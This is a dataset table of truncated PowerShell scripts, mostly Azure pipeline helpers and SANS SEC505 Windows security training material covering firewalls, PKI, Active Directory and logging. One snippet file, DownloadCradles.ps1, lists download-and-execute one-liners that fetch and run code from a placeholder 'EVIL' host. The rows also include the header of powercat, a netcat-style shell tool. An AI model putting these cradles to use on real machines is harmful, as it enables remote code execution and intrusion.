full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/Statoil_mad-vsts-tasks/Tasks/Common/VstsAzureHelpers_/ImportFunctions.ps1
ImportFunctions.ps1
function Import-AzureModule { [CmdletBinding()] param( [Parameter(Mandatory = $true)] [ValidateSet('Azure', 'AzureRM')] [string[]]$PreferredModule) Trace-VstsEnteringInvocation $MyInvocation try { Write-Verbose "Env:PSModulePath: '$env:PSMODULEPATH'" if...
PowerShellCorpus/Github/Statoil_mad-vsts-tasks/Tasks/Common/VstsAzureHelpers_/InitializeFunctions.ps1
InitializeFunctions.ps1
function Add-Certificate { [CmdletBinding()] param([Parameter(Mandatory=$true)]$Endpoint) # Add the certificate to the cert store. $bytes = [System.Convert]::FromBase64String($Endpoint.Auth.Parameters.Certificate) $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Cer...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Questions/Get-McsaQuestions.ps1
Get-McsaQuestions.ps1
[cmdletbinding()] Param ( [string] $QuestionSource = 'https://raw.githubusercontent.com/NgPecSysAdmin/NgPecSysAdmin/master/resources/Questions/questions.xml', [int] $NumberOfQuestions = 10 ) # Param Process { $ProgressPreferenceBak = $ProgressPreference $ProgressPreference = [System.Management.Automation.Actio...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Snippits/DownloadCradles.ps1
DownloadCradles.ps1
# normal download cradle IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") # PowerShell 3.0+ IEX (iwr 'http://EVIL/evil.ps1') # hidden IE com object $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Documen...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Snippits/psremoting-using-local-functions.ps1
psremoting-using-local-functions.ps1
$NewRemoteAudioMessageDefinition = "Function NewRemoteAudioMessage { ${function:New-AudioNotification} }" Invoke-Command -ComputerName $ComputerName -ScriptBlock { Param ( $NewRemoteAudioMessageDefinition ) . ([scriptblock]::Create($using:NewRemoteAudioMessageDefinition)) ; NewRemoteAudioMessage -Message 'Hi' }
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-CIMFile.ps1
Get-CIMFile.ps1
Function Get-CIMFile { <# .SYNOPSIS Gets all files using the specified name or extension against multiple systems. .DESCRIPTION Gets all files using the specified name or extension against multiple systems. .PARAMETER Computername List of comput...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-McAfeeLogs.ps1
Get-McAfeeLogs.ps1
function Get-McAfeeLogs { [cmdletbinding()] Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('CN','Hostname','Target','IP','IpAddress')] [string] $ComputerName = $env:COMPUTERNAME, [datetime] $epoch = '01/01/1970', [string] $IpAddressRegEx = '^(?:(?:1\...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-DellDriverCabs.ps1
Get-DellDriverCabs.ps1
function Get-DellDriverCabs { [cmdletbinding()] Param ( [string] $OutCabArchive = $($env:TEMP + '\DriverPackCatalog.cab'), [string] $OutFile = $($env:TEMP + '\DriverPackCatalog.xml'), [string] $DriverPackCatalogUrl = 'https://downloads.dell.com/catalog/DriverPackCatalog.cab' ) begin { ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-Java.ps1
Install-Java.ps1
Function Install-Java { [cmdletbinding()] Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('DNSHostName','PSComputerName','CN','Hostname')] [array] $ComputerName = @($env:COMPUTERNAME), [string] $JavaSource = '\\server1\packages\Oracle\Java-Latest', [s...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserGroupAddsRemoves.ps1
Get-UserGroupAddsRemoves.ps1
function Get-UserGroupAddsRemoves { Param ( [datetime] $StartDateTime = (Get-Date), [datetime] $EndDateTime = ((Get-Date).AddDays(-1)), [array] $LogFilePath = ( '\\server1\path\to\logs\' ) ) Begin {} # End of Begin ScriptBlock Process { Get-ChildItem $LogFilePath | Where-Object ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Shame-NetfilxUser.ps1
Shame-NetfilxUser.ps1
#requires -Version 2 function New-AudioNotification { [CmdletBinding(SupportsShouldProcess = $True,ConfirmImpact = 'Low')] Param( [Parameter(Mandatory = $False,ValueFromPipeline)] [string]$Message = 'This is a test of the PowerShell broadcast system.' ) Begin{ ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/New-SWRandomPassword.ps1
New-SWRandomPassword.ps1
function New-SWRandomPassword { <# .Synopsis Generates one or more complex passwords designed to fulfill the requirements for Active Directory .DESCRIPTION Generates one or more complex passwords designed to fulfill the requirements for Active Directory .EXAMPLE New-SWRandomP...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-ProfileSize.ps1
Get-ProfileSize.ps1
# Get the cumulative size of all user profiles on the system in GB [math]::Round( ( ( ( Get-ChildItem -Path C:\Users | ForEach-Object { Write-Verbose "Processing $($_.FullName)" ; Get-ChildItem -Path $_.FullName -Recurse -File -ErrorAction SilentlyContinue ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SendTo-SysLog.ps1
SendTo-SysLog.ps1
#################################################################################### #.Synopsis # Send syslog UDP messages (RFC3164, but not RFC5424). # #.Description # Send syslog UDP message with chosen facility, severity, content and tag. These # messages are typically sent to UNIX/Linux syslog servers, log...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Select-WinEvent.ps1
Select-WinEvent.ps1
Function Select-WinEvent { [CmdletBinding(DefaultParameterSetName = 'Select')] Param ( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] [System.Diagnostics.Eventing.Reader.EventLogRecord] $Event, [Parameter(ParameterSetName = 'Select')] [String[]] $Property, [Parameter(Param...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserLogonReport.ps1
Get-UserLogonReport.ps1
[cmdletbinding()] Param ( [datetime] $StartDateTime = ((Get-Date).AddDays(-1)), [datetime] $EndDateTime = (Get-Date), [string] $UserName = $env:USERNAME, [array] $LogFilePath = ( '\\server1\path\to\logs\' ) ) Begin {} # End of Begin ScriptBlock Process { # The XPath filter n...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-AcrobatPro.ps1
Install-AcrobatPro.ps1
Function Install-AcrobatPro { [cmdletbinding()] Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('DNSHostName','PSComputerName','CN','Hostname')] [string] $ComputerName = $env:COMPUTERNAME, [string] $CurrentVersion = '11.0.19' ) # Param Begin { if ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserAccountDeletions.ps1
Get-UserAccountDeletions.ps1
function Get-UserAccountDeletions { Param ( [datetime] $StartDateTime = (Get-Date), [datetime] $EndDateTime = ((Get-Date).AddDays(-1)), [array] $LogFilePath = ( '\\server1\path\to\logs\' ) ) Begin {} # End of Begin ScriptBlock Process { Get-ChildItem $LogFilePath | Where-Object ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/powercat.ps1
powercat.ps1
function powercat { param( [alias("Client")][string]$c="", [alias("Listen")][switch]$l=$False, [alias("Port")][Parameter(Position=-1)][string]$p="", [alias("Execute")][string]$e="", [alias("ExecutePowershell")][switch]$ep=$False, [alias("Relay")][string]$r="", [alias("UDP")][switc...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-Capi2EventLogs.ps1
Get-Capi2EventLogs.ps1
function Get-Capi2EventLogs { Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('DNSHostName','PSComputerName','CN','Hostname')] [string] $ComputerName = $env:COMPUTERNAME ) # End of Param section Begin { $Capi2EventFilter = [xml] @" <QueryList> <Quer...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/deleteold.ps1
deleteold.ps1
<# .SYNOPSIS Script to delete or list old files in a folder .DESCRIPTION Script to delete files older than x-days. The script is built to be used as a scheduled task, it automatically generates a logfile name based on the copy location and the current date/time. There are various levels of logging avai...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-WinEventXPathFilter.ps1
Get-WinEventXPathFilter.ps1
Function Get-WinEventXPathFilter { <# .SYNOPSIS This function generates an xpath filter that can be used with the -FilterXPath parameter of Get-WinEvent. It may also be used inside the <Select></Select tags of a Custom View in Event Viewer. .DESCRIPTION This function generates an x...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-RemoteShadowCopyInformation.ps1
Get-RemoteShadowCopyInformation.ps1
Function Get-RemoteShadowCopyInformation { <# .SYNOPSIS Gathers shadow copy volume information from a system. .DESCRIPTION Gathers shadow copy volume information from a system. Utilizes remote runspaces and alternate credentials. .PARAMETER ComputerName Specifies the ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/java-download-powershell.ps1
java-download-powershell.ps1
# Downloads the latest Java $bak = $ProgressPreference $ProgressPreference = 'SilentlyContinue' $downloadPage = 'http://www.oracle.com/' $downloadUrl32 = 'http://download.oracle.com/otn-pub/java/jdk/8u121-b13/e9e7ea248e2c4826b92b3f075a80e441/jre-8u121-windows-i586.exe' $downloadUrl64 = 'http://download.oracle.com/...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-SplunkForwarder.ps1
Install-SplunkForwarder.ps1
Function Install-SplunkForwarder { [cmdletbinding()] Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('DNSHostName','PSComputerName','CN','Hostname')] [array] $ComputerName = @($env:COMPUTERNAME), [string] $SplunkSource = "$env:TEMP\source_splunkforwarder.msi", ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-TargetedEvents.ps1
Get-TargetedEvents.ps1
Function Get-TargetedEvents { [cmdletbinding()] Param ( [parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [Alias('DNSHostName','PSComputerName','CN','Hostname')] [array] $ComputerName = @($env:COMPUTERNAME), [int] $Hours = 1, [string] $SearchTerm = $env:USERNAME )...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/New-AudioNotification.ps1
New-AudioNotification.ps1
Function New-AudioNotification { [CmdletBinding(SupportsShouldProcess = $True,ConfirmImpact = 'Low')] Param( [parameter(Mandatory=$False,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)] [string]$Message = 'PowerShell all the things!' ) Begin { $AudioControl = @' usin...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-InstalledSoftware.ps1
Get-InstalledSoftware.ps1
function Get-InstalledSoftware { <# .SYNOPSIS Pull software details from registry on one or more computers .DESCRIPTION Pull software details from registry on one or more computers. Details: -This avoids the performance impact and potential danger of using the WMI Win32_Product class -...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/SEC505-Setup-Script.ps1
SEC505-Setup-Script.ps1
############################################################################### # # Do not run this script in your host computer, this is for your training VM. # # Create a C:\SANS folder inside your training VM, not on your host laptop. # # Mount the ISO file on the CD or USB drive given to you inside the ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Get-AppLockerBlockEvent.ps1
Get-AppLockerBlockEvent.ps1
# Retrieves just the warning events from the AppLocker logs. These events are logged when # AppLocker blocks or would have blocked (in audit mode) a process, script, DLL or package. Get-WinEvent -Filterhashtable @{ LogName='Microsoft-Windows-AppLocker/EXE and DLL' ; Level=3 } -ErrorAction SilentlyContinue Get-Win...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Snapshot.ps1
Snapshot.ps1
#********************************************************************** # Name: SNAPSHOT.PS1 # Version: 4.0 # Date: 26.Jan.2015 # Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505) # Purpose: Dumps a vast amount of configuration data for the sake # of auditing and for...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Compare-ExportedXmlFiles.ps1
Compare-ExportedXmlFiles.ps1
# Assist in the comparison of two XML files with objects # of the same type, usually produced by the same command. # First run: compare the XML files, look for differences # that are potentially relevant, note the names of the # properties with differences. Subsequent runs: give # the property name which containe...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/New-WirelessProfileWithKey.ps1
New-WirelessProfileWithKey.ps1
#################################################################################### #.Synopsis # Create a WPA2-Personal wireless profile with a preshared key using AES. # #.Description # Create a WPA2-Personal wireless profile with a preshared key using AES. # Requires Windows 7 or later. Must be ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Show-WirelessKeys.ps1
Show-WirelessKeys.ps1
#################################################################################### #.Synopsis # Displays wireless SSID names and their preshared keys in plaintext. # #.Description # Displays wireless SSID names and their preshared keys in plaintext. # Requires Windows 7 or later. Must be run with adm...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Who-Can-Escape.ps1
Who-Can-Escape.ps1
<# ############################################################################# This script just demos some code which can be used to try to detect which computers can bypass your authorized perimeter routers to gain Internet access by some other method, e.g., a personal VPN or tethering through a mobile device....
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/New-MACaddress.ps1
New-MACaddress.ps1
#################################################################################### #.Synopsis # Assigns a new random MAC address to a physical network interface. # #.Description # Windows has a registry value which can be set to override the default MAC # address in a network interface card (NIC). I...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Windows-Wireless-Access-Point.ps1
Windows-Wireless-Access-Point.ps1
# This script demos how to configure a Windows computer # as a wireless access point with netsh.exe. Microsoft # calls such an access point a "hosted network." # Stop the current hosted network, if started. netsh.exe wlan stop hostednetwork # Create the hosted network, SSID and pre-shared key. netsh.exe ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Install-NetworkPolicyServices.ps1
Install-NetworkPolicyServices.ps1
###################################################################### # # Installs Network Policy Services (NPS) on Server 2012 and later. # ###################################################################### # Check if NPS is already installed: if ( $(Get-WindowsFeature -Name NPAS-Policy-Server).installe...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/NetShell-Import-Firewall-Blocklist.ps1
NetShell-Import-Firewall-Blocklist.ps1
...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Manage-Firewall-Profile.ps1
Manage-Firewall-Profile.ps1
# Windows Firewall rules are activated on a per-profile basis. # Interface profiles include Public, Private and Domain. # Different interfaces can be categorized differently. # This can be (mostly) managed with PowerShell 3.0 and later. # To list current interfaces and their profile types: Get-NetConnectio...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Import-Firewall-Blocklist.ps1
Import-Firewall-Blocklist.ps1
#################################################################################### #.Synopsis # Block all IP addresses listed in a text file using the Windows Firewall. # #.Description # Script will create inbound and outbound rules in the Windows Firewall to # block all the IPv4 and/or IPv6 addresse...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Starter-Firewall-Configuration-for-Servers.ps1
Starter-Firewall-Configuration-for-Servers.ps1
######################################################################## # # This is a starter firewall configuration script that # might be run on servers in a domain. Feel free to edit. # ######################################################################## # Enabled the Windows Firewall for all profile t...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Blocklist-Wrapper.ps1
Blocklist-Wrapper.ps1
################################################################################## # # This is just a wrapper to run Import-Firewall-Blocklist.ps1 as a scheduled task. # It cannot be used as-is, it is just an example since attendees asked for it. # The URLs to download the IP address ranges might change at any time...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Ignore-VMware-Network-Adapters.ps1
Ignore-VMware-Network-Adapters.ps1
# Script will make the Windows Firewall permanently ignore the VMware network adapters # for the sake of determining network profile (Domain, Public, Private). VMware # will still work normally otherwise and the change can be easily undone by hand. # Script must be run from an elevated shell. # Co...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/Audit-Policies-For-Firewall.ps1
Audit-Policies-For-Firewall.ps1
############################################################################################## # # In addition to writing to the standard textual W3C logs, Windows Firewall connections, port # bindings, and dropped packets can be logged to the Windows event logs too, such as for # troubleshooting or incident respon...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/IPSec/IPSec-Logging-for-Troubleshooting.ps1
IPSec-Logging-for-Troubleshooting.ps1
############################################################################### # Run this script to temporarily enable IPSec-related logging to the Security # event log in Windows for troubleshooting (see event IDs 4600-5500). # # Requires Vista, Server 2008, or later. # # If the error is certificate-related, a...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/IPSec/Add-IPSec-Rule.ps1
Add-IPSec-Rule.ps1
################################################### # This script demonstrates how to create an IPSec # # rule on Server 2012, Windows 8 and later. # ################################################### #Create an authentication proposal using a pre-shared key: $AuthProposal = New-NetIPsecAuthProposal -M...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Manage_Client_CRL-Cache.ps1
Manage_Client_CRL-Cache.ps1
######################################################################## # The following are example commands with CERTUTIL.EXE to manage # client-side Certificate Revocation List (CRL) settings and behavior. # These commands only work on Windows Vista, Server 2008 and later, and # on these systems the CERTUTIL.EXE...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Install-CertificateServices.ps1
Install-CertificateServices.ps1
################################################################ # This script demonstrates how to install Certificate Services # on Server 2012 and later. Please don't run this in seminar # unless asked to do so by the instructor. We normally install # ADCS manually for the hands-on experience. ################...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Remove-TrustedRootCA.ps1
Remove-TrustedRootCA.ps1
#################################################################################### #.Synopsis # Delete chosen trusted root CA certificates. # #.Description # Edit the $BadCerts array in this script prior to execution. The $BadCerts # array contains the hash thumbprints of root Certification Authorit...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Manage_TPM_Virtual_Smart_Card_Examples.ps1
Manage_TPM_Virtual_Smart_Card_Examples.ps1
# Windows 8 and later can use a TPM chip to implement a virtual smart card. # The following are example commands for managing a TPM virtual smart card when # an enterprise smart card management system is not used, e.g., MS Identity Manager, # which, in real life, you would almost certainly use for virtual cards. ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Get-UsersAndCertCount.ps1
Get-UsersAndCertCount.ps1
######################################################################################## #.Synopsis # Outputs paths to users in AD with more than one certificate. # #.Description # Script outputs the paths to user accounts in Active Directory which have more # than one certificate, plus the count of total c...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Export-CertificateServicesRegistry.ps1
Export-CertificateServicesRegistry.ps1
########################################################################## # After installing and configuring a certificate server for your PKI, you # should export a backup copy of the registry settings for the CA. ########################################################################## # Get the number of 1...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/Create-HyperV-BitLocker-Image.ps1
Create-HyperV-BitLocker-Image.ps1
########################################################################### # # This script demonstrates how to create, mount, and format a VHDX # virtual machine image as a new drive letter, then encrypt it with # a BitLocker passphrase. The passphrase is "passphrase". # # Requires: # Windows Server 2012, ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/AuditRootCAs/Get-MicrosoftRootCaList.ps1
Get-MicrosoftRootCaList.ps1
# This script will download Microsoft's latest list of trustworthy # root Certification Authorities (CAs) and save their SHA-1 hashes # to a text file in the present folder for the sake of performing # audits of machines' current lists of trusted root CAs. # Version: 1.0, Author: JF, Legal: Public Domain, No Warra...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day3-PKI/AuditRootCAs/Audit-TrustedRootCA.ps1
Audit-TrustedRootCA.ps1
#################################################################################### #.Synopsis # Compare the list of root certification authorities (CAs) trusted by a user # on a computer against a reference list of CAs. The reference list is just a # simple text file of the hash thumbprints of root C...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/Install-WSUS.ps1
Install-WSUS.ps1
###################################################################### # This script installs WSUS on Server 2012 and later. It uses the # Windows Internal Database (WID) instead of SQL Server, and places # the WSUS database files into a new folder named C:\WSUS. Note that # IIS is also installed at the same time...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/Get-LocalGroupMembership.ps1
Get-LocalGroupMembership.ps1
#################################################################################### #.Synopsis # List members of a local group on a remote computer. # #.Parameter ComputerName # Name of the local or remote computer. Defaults to the local computer. # Can be an array of computer names instead of just o...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/Custom_Password_Policies.ps1
Custom_Password_Policies.ps1
# Password policies can also be managed through PowerShell #To list all your current fine-grained password policies in AD: get-adfinegrainedpasswordpolicy -filter {(name -like "*")} get-addefaultdomainpasswordpolicy -current loggedonuser $mydom = get-addomain -current loggedonuser set-addefaultdomainpasswo...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/Install-FileServerResourceManager.ps1
Install-FileServerResourceManager.ps1
################################################################### # This script will install the File Server Resource Manager role # on Server 2012 and later, then prompt the user to reboot. # Please do not run this script unless asked by the instructor. ###########################################################...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/ActiveDirectory/Active_Directory.ps1
Active_Directory.ps1
# Import AD PowerShell module to make AD cmdlets available import-module ActiveDirectory # List the AD cmdlets get-command -module ActiveDirectory get-help *-AD* # Browse the AD:\ drive which was made available by importing the AD module # (You do not have to stay in the AD:\ drive to manage AD in Po...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/ActiveDirectory/AD-Recycle-Bin/Enable-ActiveDirectoryRecycleBin.ps1
Enable-ActiveDirectoryRecycleBin.ps1
# This command will enable the Active Directory Recycle Bin feature of Windows Server 2008-R2 and later. # Once the AD Recycle Bin is enabled, it cannot be disabled ever again. # The feature requires a forest functionality level of Server 2008-R2 or better. Enable-ADOptionalFeature "Recycle Bin Feature" -server $(...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/ActiveDirectory/AD-Recycle-Bin/Restore-ActiveDirectoryDeletedObject.ps1
Restore-ActiveDirectoryDeletedObject.ps1
param ($adObjectDistinguishedName) restore-adobject -identity $adObjectDistinguishedName # Remember that after querying the deleted objects, you can pipe # them through where-object, then pipe the results into the # restore-object cmdlet for doing mass restores.
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/ActiveDirectory/AD-Recycle-Bin/AD-Recycle-Bin-Examples.ps1
AD-Recycle-Bin-Examples.ps1
# Some sample commands for working with the AD Recycle Bin. # Replace the domain name (DC=sans,DC=org) with your own. Import-Module ActiveDirectory # To view deleted objects, assuming your domain is named "sans.org": Get-ADObject -IncludeDeletedObjects ` -Filter {ObjectClass -ne "container"} ` -SearchBase...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/ActiveDirectory/AD-Recycle-Bin/List-ActiveDirectoryDeletedObjects.ps1
List-ActiveDirectoryDeletedObjects.ps1
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property * | format-list samAccountName,displayName,lastknownParent,DistinguishedName
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/UpdatePasswords/Update-PasswordArchive.ps1
Update-PasswordArchive.ps1
#################################################################################### #.Synopsis # Resets the password of a local user account with a random password which is # then encrytped with your public key certificate. The plaintext password is # displayed with the Recover-PasswordArchive.ps1 scri...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/UpdatePasswords/CleanUp-PasswordArchive.ps1
CleanUp-PasswordArchive.ps1
#################################################################################### #.Synopsis # Carefully delete only the correct password archive files previously # created with the companion script named Update-PasswordArchive.ps1. # #.Description # Deletes older password archive files while retai...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day4-Admins/UpdatePasswords/Recover-PasswordArchive.ps1
Recover-PasswordArchive.ps1
#################################################################################### #.Synopsis # Recover the plaintext password from an encrypted file originally # created with the companion script named Update-PasswordArchive.ps1. # #.Description # Recover the plaintext password from an encrypted fi...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Speak-Text.ps1
Speak-Text.ps1
############################################################################## # Script: Speak-Text.ps1 # Date: 28.Mar.2015 # Version: 1.3 # Author: Enclave Consulting LLC, Jason Fossen # Purpose: Demos how to use a COM object to speak audible text. # Legal: Script provided "AS IS" without warranties or gu...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/HelloWorld.ps1
HelloWorld.ps1
"Hello World!"
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Generate-RandomPassword.ps1
Generate-RandomPassword.ps1
############################################################################## #.Synopsis # Generates a complex password of the specified length and text encoding. # #.Description # Generates a pseudo-password using only common ASCII code numbers. The # password will be four characters in length at a...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Debugging-Part2.ps1
Debugging-Part2.ps1
# See the Debugging-Part1.ps1 script for an introduction to debugging. # The following is a list of more debugging and error-handling tips. ############################################################################## # # Debug Context # ###################################################################...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Compare-FileHashesList.ps1
Compare-FileHashesList.ps1
<# .SYNOPSIS Compares two files containing file hash information in order to detect new, missing or changed files in directory paths. .DESCRIPTION The script compares two CSV files produced by PowerShell, or two TXT files produced by MD5DEEP/SHA*DEEP, which contain file hashes, and then outputs ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Print-Color-Text.ps1
Print-Color-Text.ps1
############################################################################## # Script: Print-Color-Text.ps1 # Date: 16.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Demo how to change color of text or background in the shell, to # change the titlebar...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Whois-IP.ps1
Whois-IP.ps1
# Pass in an IPv4 address, returns ARIN contact information about it. # Version: 1.0 param ($IpAddress = "66.35.45.201") function Whois-IP ($IpAddress = "66.35.45.201") { # Build an object to populate with data, then emit it at the end. $poc = $IpAddress | select-object IP,Name,City,Country,Handle,Re...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Find_Big_Files.ps1
Find_Big_Files.ps1
############################################################################## # Script: Find_Big_Files.ps1 # Date: 15.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Selects files by size and sorts from largest to smallest. # Notes: "MB" is built-in PowerShell...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Command-Line_Named_Parameters.ps1
Command-Line_Named_Parameters.ps1
############################################################################## # Script: Command-Line_Named_Parameters.ps1 # Date: 14.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Demo how command line parameters are processed. # Legal: Script provided "AS IS...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Regular-Expressions.ps1
Regular-Expressions.ps1
